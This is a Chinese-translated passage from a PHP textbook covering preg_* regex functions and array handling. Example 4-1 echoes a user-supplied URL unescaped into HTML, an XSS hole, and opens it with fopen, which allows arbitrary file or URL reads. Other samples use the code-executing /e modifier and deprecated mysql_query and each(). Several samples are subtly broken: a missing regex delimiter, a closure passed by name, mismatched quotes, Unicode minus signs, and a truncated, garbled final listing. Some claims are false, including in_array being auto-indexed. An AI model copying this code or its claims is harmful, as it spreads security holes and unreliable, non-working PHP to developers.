断言可以是两种类型之一:回溯引用,或者前瞻或后顾匹配。要引用先前匹配的子字符串,断言是从 1 到 99 的数字(可用的最多回溯引用)。如果断言是一个回溯引用,条件只有在回溯引用匹配时才使用断言中的模式。如果断言不是回溯引用,则必须是正向或负向前瞻或后顾断言。

函数

有五类函数与 Perl 兼容的正则表达式一起使用:匹配、替换、分割、过滤,以及用于引用文本的实用函数。

匹配

preg_match() 函数在字符串上执行 Perl 风格的模式匹配。它相当于 Perl 中的 m// 操作符。preg_match_all() 函数接受与 preg_match() 函数相同的参数,并返回相同的值,只是它接受 Perl 风格的模式而不是标准模式:

$found = preg_match(*`pattern`*, *`string`* [, *`captured`* ]);

例如:

preg_match('/y.*e$/', 'Sylvie'); // returns true
preg_match('/y(.*)e$/', 'Sylvie', $m); // $m is array('ylvie', 'lvi')

虽然有一个 preg_match() 函数来进行不区分大小写的匹配,但没有 preg_matchi() 函数。相反,可以在模式上使用 i 标志:

preg_match('y.*e$/i', 'SyLvIe'); // returns true

preg_match_all() 函数会重复匹配从上一次匹配结束的地方开始,直到不能再进行匹配为止:

$found = preg_match_all(*`pattern`*, *`string`*, *`matches`* [, *`order`* ]);

order 值,可以是 PREG_PATTERN_ORDERPREG_SET_ORDER,决定了 matches 的布局。我们将使用这段代码作为指南查看两者:

$string = <<< END
13 dogs
12 rabbits
8 cows
1 goat
END;
preg_match_all('/(\d+) (\S+)/', $string, $m1, PREG_PATTERN_ORDER);
preg_match_all('/(\d+) (\S+)/', $string, $m2, PREG_SET_ORDER);

使用 PREG_PATTERN_ORDER(默认),数组的每个元素对应于特定的捕获子模式。因此,$m1[0] 是所有匹配模式的子字符串数组,$m1[1] 是匹配第一个子模式的所有子字符串数组(即数字),$m1[2] 是匹配第二个子模式的所有子字符串数组(即单词)。数组 $m1 比子模式多一个元素。

使用 PREG_SET_ORDER,数组的每个元素对应于下一次尝试匹配整个模式。因此,$m2[0] 是第一组匹配的数组('13 dogs', '13', 'dogs'),$m2[1] 是第二组匹配的数组('12 rabbits', '12', 'rabbits'),依此类推。数组 $m2 的元素数量与整个模式的成功匹配次数相同。

示例 4-1 获取特定网址的 HTML 到一个字符串中,并从该 HTML 中提取 URLs。对于每个 URL,它生成一个链接返回到显示该地址 URLs 的程序中。

示例 4-1. 从 HTML 页面提取 URLs
<?php
if (getenv('REQUEST_METHOD') == 'POST') {
 $url = $_POST['url'];
}
else {
 $url = $_GET['url'];
}
?>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
 <p>URL: <input type="text" name="url" value="<?php echo $url ?>" /><br />
 <input type="submit">
</form>

<?php
if ($url) {
 $remote = fopen($url, 'r'); {
 $html = fread($remote, 1048576); // read up to 1 MB of HTML
 }
 fclose($remote);

 $urls = '(http|telnet|gopher|file|wais|ftp)';
 $ltrs = '\w';
 $gunk = '/#~:.?+=&%@!\-';
 $punc = '.:?\-';
 $any = "{$ltrs}{$gunk}{$punc}";

 preg_match_all("{
 \b # start at word boundary
 {$urls}: # need resource and a colon
 [{$any}] +? # followed by one or more of any valid
 # characters—but be conservative
 # and take only what you need
 (?= # the match ends at
 [{$punc}]* # punctuation
 [^{$any}] # followed by a non-URL character
 | # or
 \$ # the end of the string
 )
 }x", $html, $matches);

 printf("I found %d URLs<P>\n", sizeof($matches[0]));

 foreach ($matches[0] as $u) {
 $link = $_SERVER['PHP_SELF'] . '?url=' . urlencode($u);
 echo "<a href=\"{$link}\">{$u}</a><br />\n";
 }
}

替换

preg_replace() 函数的行为类似于文本编辑器中的查找和替换操作。它找到字符串中所有模式的出现,并将这些出现更改为其他内容:

$new = preg_replace(*`pattern`*, *`replacement`*, *`subject`* [, *`limit`* ]);

最常见的用法是所有参数字符串,除了整数 limit。限制是要替换的模式的最大出现次数(当传递 -1 时,默认情况和当一个限制为 −1 时的行为都是所有出现):

$better = preg_replace('/<.*?>/', '!', 'do <b>not</b> press the button');
// $better is 'do !not! press the button'

将一个字符串数组作为subject传递给preg_replace()以对所有字符串进行替换。新字符串从中返回:

$names = array('Fred Flintstone',
 'Barney Rubble',
 'Wilma Flintstone',
 'Betty Rubble');
$tidy = preg_replace('/(\w)\w* (\w+)/', '\1 \2', $names);
// $tidy is array ('F Flintstone', 'B Rubble', 'W Flintstone', 'B Rubble')

要对同一个字符串或字符串数组执行多次替换,只需一次调用preg_replace()并传递模式和替换的数组即可:

$contractions = array("/don't/i", "/won't/i", "/can't/i");
$expansions = array('do not', 'will not', 'can not');
$string = "Please don't yell - I can't jump while you won't speak";
$longer = preg_replace($contractions, $expansions, $string);
// $longer is 'Please do not yell - I can not jump while you will not speak';

如果你提供的替换少于模式,则匹配额外模式的文本将被删除。这是一种方便的批量删除方式:

$htmlGunk = array('/<.*?>/', '/&.*?;/');
$html = '&eacute; : <b>very</b> cute';
$stripped = preg_replace($htmlGunk, array(), $html);
// $stripped is ' : very cute'

如果你给定了一个模式数组但只有一个字符串替换,则每个模式都将使用相同的替换:

$stripped = preg_replace($htmlGunk, '', $html);

替换可以使用反向引用。不过,与模式中的反向引用不同,替换中首选的语法是$1$2$3等。例如:

echo preg_replace('/(\w)\w+\s+(\w+)/', '$2, $1.', 'Fred Flintstone')
Flintstone, F.

/e修饰符使得preg_replace()将替换字符串视为 PHP 代码,返回实际用于替换的字符串。例如,这会将每个摄氏温度转换为华氏温度:

$string = 'It was 5C outside, 20C inside';
echo preg_replace('/(\d+)C\b/e', '$1*9/5+32', $string);
It was 41 outside, 68 inside

这个更复杂的示例会展开字符串中的变量:

$name = 'Fred';
$age = 35;
$string = '$name is $age';
preg_replace('/\$(\w+)/e', '$$1', $string);

每个匹配项都会分离变量的名称($name$age)。替换中的$1指的是这些名称,因此实际执行的 PHP 代码是$name$age。该代码会评估变量的值,这就是替换时使用的内容。呼!

preg_replace_callback()preg_replace()的一种变体。它调用一个函数来获取替换字符串。该函数会传递一个匹配数组(零号元素是匹配模式的全部文本,第一个是第一个捕获子模式的内容,依此类推)。例如:

function titlecase($s)
{
 return ucfirst(strtolower($s[0]));
}

$string = 'goodbye cruel world';
$new = preg_replace_callback('/\w+/', 'titlecase', $string);
echo $new;

`Goodbye` `Cruel` `World`

分割

当你知道要提取字符串的部分时,可以使用preg_match_all(),而当你知道如何分隔这些部分时,则可以使用preg_split()

$chunks = preg_split(*`pattern`*, *`string`* [, *`limit`* [, *`flags`* ]]);

模式匹配两个部分之间的分隔符。默认情况下,分隔符不会被返回。可选的limit参数指定要返回的最大部分数(默认值为−1,表示所有部分)。flags参数是标志位 OR 组合,包括PREG_SPLIT_NO_EMPTY(不返回空部分)和PREG_SPLIT_DELIM_CAPTURE(在模式中捕获的字符串部分会被返回)。

例如,要从简单的数字表达式中仅提取操作数,请使用:

$ops = preg_split('{[+*/−]}', '3+5*9/2');
// $ops is array('3', '5', '9', '2')

要提取操作数和操作符,请使用:

$ops = preg_split('{([+*/−])}', '3+5*9/2', −1, PREG_SPLIT_DELIM_CAPTURE);
// $ops is array('3', '+', '5', '*', '9', '/', '2')

空模式在字符串中的每个字符边界以及字符串的开头和结尾匹配。这使您可以将字符串拆分为字符数组:

$array = preg_split('//', $string);

使用正则表达式过滤数组

preg_grep()函数返回一个数组中与给定模式匹配的元素:

$matching = preg_grep(*`pattern`*, *`array`*);

例如,要仅获取以.txt结尾的文件名,请使用:

$textfiles = preg_grep('/\.txt$/', $filenames);

正则表达式引用

preg_quote()函数创建一个仅匹配给定字符串的正则表达式:

$re = preg_quote(*`string`* [, *`delimiter`* ]);

string中的每个特殊含义字符(例如*$)都会用反斜杠作为前缀:

echo preg_quote('$5.00 (five bucks)');
\$5\.00 \(five bucks\)

可选的第二个参数是一个要转义的额外字符。通常,你会在这里传递你的正则表达式分隔符:

$toFind = '/usr/local/etc/rsync.conf';
$re = preg_quote($toFind, '/');

if (preg_match("/{$re}/", $filename)) {
 // found it!
}

与 Perl 正则表达式的差异

尽管非常相似,PHP 实现的 Perl 风格正则表达式与实际 Perl 正则表达式有一些细微差异:

  • 不允许在模式字符串中作为文字字符使用空字符(ASCII 0)。但是你可以通过其他方式引用它(如\000\x00等)。

  • 不支持\E\G\L\l\Q\u\U选项。

  • 不支持使用(?{ 一些 Perl 代码 }) 结构。

  • 支持/D/G/U/u/A/X修饰符。

  • 垂直制表符\v被视为空白字符。

  • 前瞻断言和后顾断言不能使用*+?进行重复。

  • 在负向断言中的括号子匹配不会被记住。

  • 后顾断言中的交替分支可以有不同的长度。

下一步计划

现在你已经了解了关于字符串及其操作的所有内容,PHP 的下一个主要部分我们将关注的是数组。这些复合数据类型会让你挑战,但你需要对它们非常熟悉,因为 PHP 在许多领域都使用它们。学习如何添加数组元素、对数组进行排序以及处理多维数组形式对于成为一个优秀的 PHP 开发者是至关重要的。

第五章:数组

正如我们在第二章中讨论的那样,PHP 支持标量和复合数据类型。在本章中,我们将讨论复合类型之一:数组。数组是一组按键值对组织的数据值的有序集合。可能有助于以宽泛的术语来思考数组,就像一个鸡蛋盒一样。鸡蛋盒的每个隔间可以容纳一个鸡蛋,但它整体上作为一个容器运行。而且,正如鸡蛋盒不仅仅可以装鸡蛋(您可以放入任何东西,比如石头、雪球、四叶草或螺丝和螺母),数组也不限于一种数据类型。它可以包含字符串、整数、布尔值等。另外,数组隔间也可以包含其他数组——但稍后再详细介绍。

本章讨论创建数组、向数组中添加和删除元素以及遍历数组内容。由于数组非常常见和有用,因此在 PHP 中有许多内置函数与数组一起使用。例如,如果您要向多个电子邮件地址发送电子邮件,则将电子邮件地址存储在数组中,然后通过数组循环,将消息发送到当前电子邮件地址。此外,如果您有一个允许多个选择的表单,用户选择的项目将以数组形式返回。

索引数组与关联数组

PHP 中有两种类型的数组:索引数组和关联数组。索引数组的键是整数,从 0 开始。当您通过它们的位置来标识事物时使用索引数组。关联数组的键是字符串,更像是双列表。第一列是键,用于访问值。

PHP 内部将所有数组存储为关联数组;关联数组与索引数组之间的唯一区别在于键。某些数组特性主要用于与索引数组一起使用,因为它们假设您具有或希望键是从 0 开始的连续整数。在两种情况下,键都是唯一的。换句话说,无论键是字符串还是整数,您都不能具有两个具有相同键的元素。

PHP 数组对其元素有内部顺序,这与键和值无关,并且有函数可用于根据此内部顺序遍历数组。顺序通常是插入到数组中的值的顺序,但是本章后面描述的排序函数允许您根据键、值或任何其他选择更改顺序。

识别数组元素

在我们讨论创建数组之前,让我们先看看现有数组的结构。您可以使用数组变量的名称访问现有数组中的特定值,后跟元素的键(或索引),放在方括号内:

$age['fred']
$shows[2]

键可以是字符串或整数。与整数数字等效的字符串值(没有前导零)被视为整数。因此,$array[3]$array['3']引用相同的元素,但$array['03']引用不同的元素。负数是有效的键,但它们不像在 Perl 中那样指定数组末尾的位置。

您不必引用单词字符串。例如,$age['fred']$age[fred]相同。然而,始终使用引号被认为是良好的 PHP 风格,因为没有引号的键与常量无法区分。当您使用常量作为未引用的索引时,PHP 使用常量的值作为索引并发出警告。这在未来版本的 PHP 中将抛出错误:

$person = `array`("name" => 'Peter');
*`print`* "Hello, {$person[name]}";
*`// output: Hello, Peter`*
*`// this 'works' but emits this warning as well:`* `Warning``:` Use of undefined constant name - assumed 'name' (this will throw an 
Error in a future version of PHP)

如果使用插值构建数组索引,则必须使用引号:

$person = `array`("name" => 'Peter');
*`print`* "Hello, {$person["name"]}";*`// output: Hello, Peter (with no warning)`*

尽管在插入数组查找中插入数组时理论上是可选的,但应该用引号引起键,以确保获取您期望的值。考虑以下例子:

define('NAME', 'bob');
$person = `array`("name" => 'Peter');
echo "Hello, {$person['name']}";
`echo` "<br/>" ;
`echo` "Hello, NAME";
`echo` "<br/>" ;
`echo` NAME ;
// output: Hello, Peter
Hello, NAME
bob

在数组中存储数据

将值存储在数组中将创建数组(如果尚不存在),但尝试从尚未定义的数组中检索值将不会创建数组。例如:

// $addresses not defined before this point
echo $addresses[0]; // prints nothing
echo $addresses; // prints nothing

$addresses[0] = "spam@cyberpromo.net";
echo $addresses; // prints "Array"

使用简单的赋值在程序中初始化数组可能会导致这样的代码:

$addresses[0] = "spam@cyberpromo.net";
$addresses[1] = "abuse@example.com";
$addresses[2] = "root@example.com";

这是一个索引数组,其整数索引从 0 开始。以下是一个关联数组:

$price['gasket'] = 15.29;
$price['wheel'] = 75.25;
$price['tire'] = 50.00;

初始化数组的更简单的方法是使用array()结构,该结构从其参数构建数组。这将构建一个索引数组,并且索引值(从 0 开始)会自动创建:

$addresses = array("spam@cyberpromo.net", "abuse@example.com", 
"root@example.com");

要使用array()创建一个关联数组,请使用=>符号将索引(键)与值分开:

$price = array(
 'gasket' => 15.29,
 'wheel' => 75.25,
 'tire' => 50.00
);

注意使用空白和对齐。我们本可以将代码挤在一起,但那样不容易阅读(这相当于之前的代码示例),也不容易添加或移除值:

$price = array('gasket' => 15.29, 'wheel' => 75.25, 'tire' => 50.00);

您还可以使用较短的备选语法指定数组:

$price = ['gasket' => 15.29, 'wheel' => 75.25, 'tire' => 50.0];

要构建一个空数组,请将array()不传递参数:

$addresses = array();

您可以使用=>指定初始键,然后列出值的列表。从该键开始将值插入数组,随后的值具有顺序键:

$days = array(1 => "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun");
// 2 is Tue, 3 is Wed, etc.

如果初始索引是非数字字符串,则随后的索引从 0 开始为整数。因此,以下代码可能是一个错误:

$whoops = array('Fri' => "Black", "Brown", "Green");

// same as
$whoops = array('Fri' => "Black", 0 => "Brown", 1 => "Green");

向数组附加值

要在现有索引数组的末尾添加更多值,请使用[]语法:

$family = array("Fred", "Wilma");
$family[] = "Pebbles"; // $family[2] is "Pebbles"

该结构假定数组的索引是数字,并从 0 开始为下一个可用的数值索引分配元素。试图追加到关联数组而没有适当的键几乎总是程序员的错误,但 PHP 会为新元素分配数值索引而不发出警告:

$person = array('name' => "Fred");
$person[] = "Wilma"; // $person[0] is now "Wilma"

分配数值范围

range()函数创建一个包含在两个参数中传递的连续整数或字符值之间的数组。例如:

$numbers = range(2, 5); // $numbers = array(2, 3, 4, 5);
$letters = range('a', 'z'); // $letters holds the alphabet
$reversedNumbers = range(5, 2); // $reversedNumbers = array(5, 4, 3, 2);

仅使用字符串参数的第一个字母来构建范围:

range("aaa", "zzz"); // same as range('a','z')

获取数组的大小

count()sizeof()函数在使用和效果上是相同的。它们返回数组中的元素数。对于使用哪个函数,没有风格上的偏好。这里有一个例子:

$family = array("Fred", "Wilma", "Pebbles");
$size = count($family); // $size is 3

此函数仅计算实际设置的数组值:

$confusion = array( 10 => "ten", 11 => "eleven", 12 => "twelve");
$size = count($confusion); // $size is 3

填充数组

要创建一个值初始化为相同内容的数组,请使用array_pad()array_pad()的第一个参数是数组,第二个参数是您希望数组具有的最小元素数,第三个参数是要赋予创建的任何元素的值。array_pad()函数返回一个新的填充数组,保留其参数(源)数组不变。

这里是array_pad()的示例:

$scores = array(5, 10);
$padded = array_pad($scores, 5, 0); // $padded is now array(5, 10, 0, 0, 0)

注意新值如何附加到数组中。如果要将新值添加到数组的开头,请使用负的第二个参数:

$padded = array_pad($scores, −5, 0); // $padded is now array(0, 0, 0, 5, 10);

如果填充关联数组,则现有键将被保留。新元素将具有从 0 开始的数值键。

多维数组

数组中的值本身可以是数组。这使您可以轻松创建多维数组:

$row0 = array(1, 2, 3);
$row1 = array(4, 5, 6);
$row2 = array(7, 8, 9);
$multi = array($row0, $row1, $row2);

您可以通过追加更多方括号[]来引用多维数组的元素:

$value = $multi[2][0]; // row 2, column 0\. $value = 7

要插入多维数组的查找,必须将整个数组查找括在花括号中:

echo("The value at row 2, column 0 is {$multi[2][0]}\n");

如果未使用花括号,则输出如下所示:

`The` `value` `at` `row` `2``,` `column` `0` `is` `Array``[``0``]`

提取多个值

要将数组的所有值复制到变量中,请使用list()结构:

list (*`$variable``,` `...`*) = *`$array`*;

数组的值按照数组的内部顺序复制到列出的变量中。默认情况下,这是它们插入的顺序,但后面描述的排序函数可以改变这个顺序。这里有一个例子:

$person = array("Fred", 35, "Betty");
list($name, $age, $wife) = $person;
// $name is "Fred", $age is 35, $wife is "Betty"
注意

使用list()函数是从数据库选择中获取值的常见做法,其中仅返回一行。这自动将来自简单查询的数据加载到一系列本地变量中。这里是从体育赛程数据库中选择两支对立队伍的示例:

$sql = "SELECT HomeTeam, AwayTeam FROM schedule WHERE 
Ident = 7";
$result = mysql_query($sql);
list($hometeam, $awayteam) = mysql_fetch_assoc($result);

在第九章中有更多关于数据库的覆盖内容。

如果在数组中有比list()中更多的值,则额外的值将被忽略:

$person = array("Fred", 35, "Betty");
list($name, $age) = $person; // $name is "Fred", $age is 35

如果在list()中有比数组中更多的值,额外的值将被设置为NULL

$values = array("hello", "world");
list($a, $b, $c) = $values; // $a is "hello", $b is "world", $c is NULL

list()中的两个或多个连续逗号会跳过数组中的值:

$values = range('a', 'e'); // use range to populate the array
list($m, , $n, , $o) = $values; // $m is "a", $n is "c", $o is "e"

切片数组

要仅提取数组的子集,请使用array_slice()函数:

$subset = array_slice*`(``array`*, *`offset`*, *`length`*);

array_slice()函数返回一个由原始数组中一系列连续值组成的新数组。offset参数标识要复制的初始元素(0表示数组中的第一个元素),length参数标识要复制的值的数量。新数组从 0 开始具有连续的数值键。例如:

$people = array("Tom", "Dick", "Harriet", "Brenda", "Jo");
$middle = array_slice($people, 2, 2); // $middle is array("Harriet", "Brenda")

通常只有在索引数组上使用array_slice()才有意义(即具有从 0 开始的连续整数索引):

// this use of array_slice() makes no sense
$person = array('name' => "Fred", 'age' => 35, 'wife' => "Betty");
$subset = array_slice($person, 1, 2); // $subset is array(0 => 35, 1 => "Betty")

使用array_slice()list()结合在变量中提取部分数值:

$order = array("Tom", "Dick", "Harriet", "Brenda", "Jo");
list($second, $third) = array_slice($order, 1, 2);
// $second is "Dick", $third is "Harriet"

将数组拆分成块

要将数组分成较小的、均匀大小的数组,请使用array_chunk()函数:

$chunks = array_chunk(*`array`*, *`size`* [, *`preserve_keys`*]);

该函数返回较小数组的数组。第三个参数preserve_keys是一个布尔值,用于确定新数组的元素是否与原始数组中的相同键(对关联数组有用)或从 0 开始的新数字键(对索引数组有用)。默认情况下分配新键,如下所示:

$nums = range(1, 7);
$rows = array_chunk($nums, 3);
print_r($rows);

`Array` `(`
 `[``0``]` `=>` `Array` `(`
 `[``0``]` `=>` `1`
 `[``1``]` `=>` `2`
 `[``2``]` `=>` `3`
 `)`
 `[``1``]` `=>` `Array` `(`
 `[``0``]` `=>` `4`
 `[``1``]` `=>` `5`
 `[``2``]` `=>` `6`
 `)`
 `[``2``]` `=>` `Array` `(`
 `[``0``]` `=>` `7`
 `)`
`)`

键和值

array_keys()函数按照数组内部顺序返回仅包含键的数组:

$arrayOfKeys = array_keys(*`array`*);

下面是一个示例:

$person = array('name' => "Fred", 'age' => 35, 'wife' => "Wilma");
$keys = array_keys($person); // $keys is array("name", "age", "wife")

PHP 还提供了一个(通常不太有用的)函数来获取数组中仅包含值的数组,即array_values()

$arrayOfValues = array_values(*`array`*);

array_keys()类似,值按照数组的内部顺序返回:

$values = array_values($person); // $values is array("Fred", 35, "Wilma");

检查元素是否存在

要查看数组中是否存在元素,请使用array_key_exists()函数:

if (array_key_exists(*`key`*, *`array`*)) { ... }

该函数返回一个布尔值,指示第一个参数是否是作为第二个参数给出的数组中的有效键。

简单地说:

if ($person['name']) { ... } // this can be misleading

即使数组中有一个键为name的元素,其对应的值可能为 false(即0NULL或空字符串)。请改用array_key_exists(),如下所示:

$person['age'] = 0; // unborn? 
if ($person['age']) {
 echo "true!\n";
}

if (array_key_exists('age', $person)) {
 echo "exists!\n";
}

`exists``!`

许多人改用isset()函数,如果元素存在且不为NULL,则返回true

$a = array(0, NULL, '');

function tf($v)
{
 return $v ? 'T' : 'F';
}

for ($i=0; $i < 4; $i++) {
 printf("%d: %s %s\n", $i, tf(isset($a[$i])), tf(array_key_exists($i, $a)));
}
`0``:` `T` `T`
`1``:` `F` `T`
`2``:` `T` `T`
`3``:` `F` `F`

在数组中删除和插入元素

array_splice()函数可以从数组中删除或插入元素,并可选择从已删除元素创建另一个数组:

$removed = array_splice(*`array`*, *`start`* [, *`length`* [, *`replacement`* ] ]);

我们将使用这个数组查看array_splice()

$subjects = array("physics", "chem", "math", "bio", "cs", "drama", "classics");

我们可以通过告诉array_splice()从位置 2 开始删除 3 个元素来删除"math""bio""cs"元素:

$removed = array_splice($subjects, 2, 3);
// $removed is array("math", "bio", "cs")
// $subjects is array("physics", "chem", "drama", "classics")

如果省略长度,array_splice()将删除到数组的末尾:

$removed = array_splice($subjects, 2);
// $removed is array("math", "bio", "cs", "drama", "classics")
// $subjects is array("physics", "chem")

如果您只想从源数组中删除元素,并且不关心保留它们的值,则不需要存储array_splice()的结果:

array_splice($subjects, 2);
// $subjects is array("physics", "chem");

要在移除其他元素的位置插入元素,请使用第四个参数:

$new = array("law", "business", "IS");
array_splice($subjects, 4, 3, $new);
// $subjects is array("physics", "chem", "math", "bio", "law", "business", "IS")

替换数组的大小不必与删除元素的数量相同。数组会根据需要增长或缩小:

$new = array("law", "business", "IS");
array_splice($subjects, 3, 4, $new);
// $subjects is array("physics", "chem", "math", "law", "business", "IS")

要插入新元素到数组中,并将现有元素推向右侧,请删除零个元素:

$subjects = array("physics", "chem", "math');
$new = array("law", "business");
array_splice($subjects, 2, 0, $new);
// $subjects is array("physics", "chem", "law", "business", "math")

虽然到目前为止的示例使用的是索引数组,array_splice()也适用于关联数组:

$capitals = array(
 'USA' => "Washington",
 'Great Britain' => "London",
 'New Zealand' => "Wellington",
 'Australia' => "Canberra",
 'Italy' => "Rome",
 'Canada' => "Ottawa"
);

$downUnder = array_splice($capitals, 2, 2); // remove New Zealand and Australia
$france = array('France' => "Paris");

array_splice($capitals, 1, 0, $france); // insert France between USA and GB

数组和变量之间的转换

PHP 提供了两个函数extract()compact(),用于在数组和变量之间进行转换。变量的名称对应于数组中的键,变量的值成为数组中的值。例如,这个数组

$person = array('name' => "Fred", 'age' => 35, 'wife' => "Betty");

可以转换或从这些变量构建:

$name = "Fred";
$age = 35;
$wife = "Betty";

从数组创建变量

extract() 函数会自动从数组中创建局部变量。数组元素的索引成为变量名:

extract($person); // $name, $age, and $wife are now set

如果由提取创建的变量与现有变量同名,则现有变量的值将被数组中的值覆盖。

你可以通过传递第二个参数来修改 extract() 的行为。附录 描述了此第二个参数可能的取值。最有用的值是 EXTR_PREFIX_ALL,它指示 extract() 的第三个参数是在使用 extract() 时创建的变量名称的前缀。这有助于确保在使用 extract() 时创建唯一的变量名称。在 PHP 中,始终使用 EXTR_PREFIX_ALL 是良好的编程风格,如下所示:

$shape = "round";
$array = array('cover' => "bird", 'shape' => "rectangular");

extract($array, EXTR_PREFIX_ALL, "book");
echo "Cover: {$book_cover}, Book Shape: {$book_shape}, Shape: {$shape}";

`Cover``:` `bird``,` `Book` `Shape``:` `rectangular``,` `Shape``:` `round`

从变量创建数组

compact() 函数是 extract() 函数的反向操作;你可以将变量名作为单独的参数或者作为数组传递给 compact()compact() 函数创建一个关联数组,其键是变量名,值是变量的值。数组中未对应实际变量的名称将被跳过。以下是 compact() 的示例:

$color = "indigo";
$shape = "curvy";
$floppy = "none";

$a = compact("color", "shape", "floppy");
// or
$names = array("color", "shape", "floppy");
$a = compact($names);

遍历数组

处理数组中每个元素的最常见任务是执行某些操作,例如向地址数组中的每个元素发送邮件,更新文件名数组中的每个文件,或者将价格数组中的每个元素相加。在 PHP 中,有几种遍历数组的方法,你选择的方法将取决于你的数据和正在执行的任务。

foreach 结构

遍历数组元素的最常见方法是使用 foreach 结构:

$addresses = array("spam@cyberpromo.net", "abuse@example.com");

foreach ($addresses as $value) {
 echo "Processing {$value}\n";
}
`Processing` `spam``@``cyberpromo``.``net`
`Processing` `abuse``@``example``.``com`

PHP 依次对$addresses数组中的每个元素执行循环体(echo语句),其中将$value设置为当前元素。元素按其内部顺序处理。

foreach的另一种形式允许你访问当前键:

$person = array('name' => "Fred", 'age' => 35, 'wife' => "Wilma");

foreach ($person as $key => $value) {
 echo "Fred's {$key} is {$value}\n";
}
`Fred``'s name is Fred`
`Fred'``s` `age` `is` `35`
`Fred``'``s` `wife` `is` `Wilma`

在这种情况下,每个元素的键都放在$key中,相应的值放在$value中。

foreach结构不会在数组本身上操作,而是在其副本上操作。你可以在foreach循环的主体中插入或删除元素,安全地知道循环不会尝试处理已删除或已插入的元素。

迭代器函数

每个 PHP 数组都会跟踪你正在处理的当前元素;指向当前元素的指针称为迭代器。PHP 具有设置、移动和重置此迭代器的函数。迭代器函数包括:

current()

返回迭代器当前指向的元素。

reset()

将迭代器移动到数组中的第一个元素并返回它。

next()

将迭代器移动到数组中的下一个元素并返回它。

prev()

将迭代器移动到数组中的上一个元素并返回它。

end()

将迭代器移动到数组中的最后一个元素并返回它。

each()

返回当前元素的键和值作为数组,并将迭代器移动到数组的下一个元素。

key()

返回当前元素的键。

each()函数用于遍历数组元素。它根据它们的内部顺序处理元素:

reset($addresses);

while (list($key, $value) = each($addresses)) {
 echo "{$key} is {$value}<br />\n";
}
`0` `is` `spam``@``cyberpromo``.``net`
`1` `is` `abuse``@``example``.``com`

这种方法不像foreach那样制作数组的副本。当处理非常大的数组并希望节省内存时,这非常有用。

当你需要将数组的一些部分与其他部分分开考虑时,迭代函数非常有用。示例 5-1 展示了构建表格的代码,将关联数组中的第一个索引和值视为表格列标题。

示例 5-1. 使用迭代函数构建表格
$ages = array(
 'Person' => "Age",
 'Fred' => 35,
 'Barney' => 30,
 'Tigger' => 8,
 'Pooh' => 40
);

// start table and print heading
reset($ages);

list($c1, $c2) = each($ages);

echo("<table>\n<tr><th>{$c1}</th><th>{$c2}</th></tr>\n");

// print the rest of the values
while (list($c1, $c2) = each($ages)) {
 echo("<tr><td>{$c1}</td><td>{$c2}</td></tr>\n");
}

// end the table
echo("</table>");

使用for循环

如果你知道你在处理一个索引数组,其中键是从 0 开始的连续整数,你可以使用for循环通过索引计数。for循环作用于数组本身,而不是数组的副本,并且按键顺序处理元素,而不考虑它们的内部顺序。

这里是如何使用for打印一个数组:

$addresses = array("spam@cyberpromo.net", "abuse@example.com");
$addressCount = count($addresses);

for ($i = 0; $i < $addressCount; $i++) {
 $value = $addresses[$i];
 echo "{$value}\n";
}
`spam``@``cyberpromo``.``net`
`abuse``@``example``.``com`

为每个数组元素调用函数

PHP 提供了一种机制,array_walk(),用于在数组中的每个元素上调用用户定义的函数一次:

array_walk(*`array`*, *`callable`*);

您定义的函数接受两个或可选的三个参数:第一个是元素的值,第二个是元素的键,第三个是在调用array_walk()时提供给它的值。例如,这里是另一种从数组值打印表列的方法:

$printRow = function ($value, $key)
{
 print("<tr><td>{$key}</td><td>{$value}</td></tr>\n");
};

$person = array('name' => "Fred", 'age' => 35, 'wife' => "Wilma");

echo "<table border=1>";

array_walk($person, $printRow);

echo "</table>";

此示例的变体使用array_walk()的可选第三个参数指定背景颜色。此参数为我们提供了打印许多带有不同背景颜色表格的灵活性:

function printRow($value, $key, $color)
{
 echo "<tr>\n<td bgcolor=\"{$color}\">{$value}</td>";
 echo "<td bgcolor=\"{$color}\">{$key}</td>\n</tr>\n";
}

$person = array('name' => "Fred", 'age' => 35, 'wife' => "Wilma");

echo "<table border=\"1\">";

array_walk($person, "printRow", "lightblue");
echo "</table>";

如果您有多个选项要传递给调用函数,只需将数组作为第三个参数传递:

$extraData = array('border' => 2, 'color' => "red");
$baseArray = array("Ford", "Chrysler", "Volkswagen", "Honda", "Toyota");

array_walk($baseArray, "walkFunction", $extraData);

function walkFunction($item, $index, $data)
{
 echo "{$item} <- item, then border: {$data['border']}";
 echo " color->{$data['color']}<br />" ;
}
`Ford` `<-` `item``,` `then` `border``:` `2` `color``->``red`
`Crysler` `<-` `item``,` `then` `border``:` `2` `color``->``red`
`VW` `<-` `item``,` `then` `border``:` `2` `color``->``red`
`Honda` `<-` `item``,` `then` `border``:` `2` `color``->``red`
`Toyota` `<-` `item``,` `then` `border``:` `2` `color``->``red`

array_walk()函数按其内部顺序处理元素。

减少数组

array_reduce()的衍生函数,array_walk()将函数依次应用于数组的每个元素,以构建单个值:

$result = array_reduce(*`array`*, *`callable`* [, *`default`* ]);

函数接受两个参数:运行总数和当前正在处理的值。它应该返回新的运行总数。例如,要计算数组值的平方和,使用:

$addItUp = function ($runningTotal, $currentValue)
{
 $runningTotal += $currentValue * $currentValue;

 return $runningTotal;
};

$numbers = array(2, 3, 5, 7);
$total = array_reduce($numbers, $addItUp);

echo $total;

`87`

array_reduce()行执行以下函数调用:

addItUp(0, 2);
addItUp(4, 3);
addItUp(13, 5);
addItUp(38, 7);

如果提供了default参数,则它是一个种子值。例如,如果我们将前面示例中array_reduce()的调用更改为:

$total = array_reduce($numbers, "addItUp", 11);

生成的函数调用如下:

addItUp(11, 2);
addItUp(15, 3);
addItUp(24, 5);
addItUp(49, 7);

如果数组为空,array_reduce()返回default值。如果没有提供默认值并且数组为空,则array_reduce()返回NULL

搜索值

in_array()函数根据第一个参数是否是作为第二个参数给出的数组中的元素返回truefalse

if (in_array(*`to_find`*, *`array`* [, *`strict`*])) { ... }

如果可选的第三个参数为trueto_find的类型和数组中的值必须匹配。默认情况下不检查数据类型。

这是一个简单的例子:

$addresses = array("spam@cyberpromo.net", "abuse@example.com", 
"root@example.com");
$gotSpam = in_array("spam@cyberpromo.net", $addresses); // $gotSpam is true
$gotMilk = in_array("milk@tucows.com", $addresses); // $gotMilk is false

PHP 自动索引数组中的值,因此in_array()通常比循环检查数组中每个值来查找您想要的值要快得多。

示例 5-2 检查用户是否在表单中填写了所有必填字段。

示例 5-2. 搜索一个数组
<?php
function hasRequired($array, $requiredFields) {
 $array =

 $keys = array_keys ( $array );
 foreach ( $requiredFields as $fieldName ) {
